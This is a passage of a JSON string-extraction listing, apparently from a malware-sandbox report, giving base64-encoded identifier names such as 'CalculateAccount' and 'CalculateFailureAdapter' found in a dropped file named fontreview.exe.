File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY1Rlc3Q=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY1Rva2Vu","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY1Rva2VuaXplcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlQWNjb3VudA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlQWRhcHRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlQWR2aXNvcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlQW5ub3RhdGlvbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlQXR0cg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlQXR0cmlidXRl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlQmFzZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlQnJpZGdl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlQ2FsbGJhY2s=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlQ2FuZGlkYXRl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlQ2xhc3M=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlQ2xpZW50","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlQ29kZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlQ29sbGVjdGlvbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlQ29tcGFyYXRvcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlQ29tcG9zZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlQ29uZmln","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlQ29uc3VtZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlQ29udGFpbmVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlQ29udGV4dA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlQ3VzdG9tZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRGF0YWJhc2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRGVmaW5pdGlvbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRGVzY3JpcHRvcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRGlj","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRGlzcGF0Y2hlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRXZlbnQ=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRXhjZXB0aW9u","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRXhwb3J0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRXhwcmVzc2lvbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRmFjYWRl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRmFjdG9yeQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRmFpbHVyZUFjY291bnQ=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRmFpbHVyZUFkYXB0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRmFpbHVyZUFubm90YXRpb24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRmFpbHVyZUF0dHI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRmFpbHVyZUF0dHJpYnV0ZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRmFpbHVyZUF1dGhlbnRpY2F0aW9u","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRmFpbHVyZUJyb2FkY2FzdGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRmFpbHVyZUNhbGxiYWNr","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRmFpbHVyZUNhbmRpZGF0ZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRmFpbHVyZUNsaWVudA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRmFpbHVyZUNvbGxlY3Rpb24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRmFpbHVyZUNvbXBhcmF0b3I=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRmFpbHVyZUNvbXBvc2Vy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRmFpbHVyZUNvbmZpZ3VyYXRpb24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRmFpbHVyZUNvbm5lY3Rpb24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRmFpbHVyZUNvbnN1bWVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRmFpbHVyZUNvbnRleHQ=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRmFpbHVyZUNyZWF0b3I=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRmFpbHVyZUN1c3RvbWVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRmFpbHVyZURhdGFiYXNl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRmFpbHVyZURlZmluaXRpb24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRmFpbHVyZURlc2NyaXB0b3I=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRmFpbHVyZURpYw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRmFpbHVyZURpc3BhdGNoZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRmFpbHVyZUVycm9y","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRmFpbHVyZUV2ZW50","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRmFpbHVyZUV4cG9ydGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRmFpbHVyZUV4cHJlc3Npb24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRmFpbHVyZUZhY2FkZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRmFpbHVyZUZhY3Rvcnk=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRmFpbHVyZUZpZWxk","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRmFpbHVyZUZpbHRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRmFpbHVyZUdldHRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRmFpbHVyZUhlbHBlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRmFpbHVyZUlkZW50aWZpZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRmFpbHVyZUltcG9ydGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRmFpbHVyZUluZm8=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRmFpbHVyZUluaXRpYWxpemVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRmFpbHVyZUluc3RhbmNl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRmFpbHVyZUludGVyY2VwdG9y","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRmFpbHVyZUludGVycHJldGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRmFpbHVyZUludm9jYXRpb24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRmFpbHVyZUlzc3Vlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRmFpbHVyZUl0ZXJhdG9y","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRmFpbHVyZU1hcA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRmFpbHVyZU1hcHBlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRmFpbHVyZU1hcHBpbmc=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRmFpbHVyZU1lc3NhZ2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRmFpbHVyZU1ldGhvZA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRmFpbHVyZU1vY2s=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRmFpbHVyZU1vZGVs","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRmFpbHVyZU9yZGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRmFpbHVyZVBhZ2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRmFpbHVyZVBhcmFt","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRmFpbHVyZVBhcmFtZXRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRmFpbHVyZVBhcnNlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRmFpbHVyZVBvbGljeQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRmFpbHVyZVBvb2w=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRmFpbHVyZVByZWRpY2F0ZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRmFpbHVyZVByaW50ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRmFpbHVyZVByb2NjZXNvcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRmFpbHVyZVByb2Nlc3M=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRmFpbHVyZVByb2R1Y2Vy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRmFpbHVyZVByb2R1Y3Q=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRmFpbHVyZVByb3h5","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRmFpbHVyZVF1ZXVl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRmFpbHVyZVJlYWRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRmFpbHVyZVJlY29yZA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRmFpbHVyZVJlZg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRmFpbHVyZVJlZw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRmFpbHVyZVJlZ2lzdHJ5","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRmFpbHVyZVJlcG9uc2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRmFpbHVyZVJlcG9zaXRvcnk=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRmFpbHVyZVJlcXVlc3Q=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRmFpbHVyZVJ1bGU=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRmFpbHVyZVJ1bGVz","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRmFpbHVyZVNjaGVtYQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRmFpbHVyZVNlcmlhbGl6ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRmFpbHVyZVNldHRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRmFpbHVyZVNpbmdsZXRvbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRmFpbHVyZVN0YXRl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRmFpbHVyZVN0YXR1cw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRmFpbHVyZVN0cmF0ZWd5","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRmFpbHVyZVN0dWI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRmFpbHVyZVRhZw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRmFpbHVyZVRhc2s=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRmFpbHVyZVRlbXBsYXRl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRmFpbHVyZVRlc3Q=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRmFpbHVyZVRlc3Rz","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRmFpbHVyZVRocmVhZA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRmFpbHVyZVRva2VuaXplcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRmFpbHVyZVZhbA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRmFpbHVyZVZhbHVl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRmFpbHVyZVZpc2l0b3I=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRmFpbHVyZVdhdGNoZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRmFpbHVyZVdvcmtlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRmFpbHVyZVdyYXBwZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRmFpbHVyZVdyaXRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRmllbGQ=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRmlsdGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlR2V0dGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlR2xvYmFs","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlSGVscGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlSWRlbnRpZmllcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlSW1wb3J0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlSW5kZXhlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlSW5pdGlhbGl6ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlSW50ZXJwcmV0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlSW52b2NhdGlvbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlSXNzdWVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlSXRlbQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlSXRlcmF0b3I=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlTGlzdA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlTGlzdGVuZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlTWFw","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlTWFwcGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlTWFwcGluZw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlTWVyY2hhbnQ=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlTWVzc2FnZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlTW9jaw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlTW9kZWw=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlT2JzZXJ2ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlT3JkZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlUGFnZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlUGFyYW0=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlUGFyYW1z","type":"Ansi","source":"Dropped 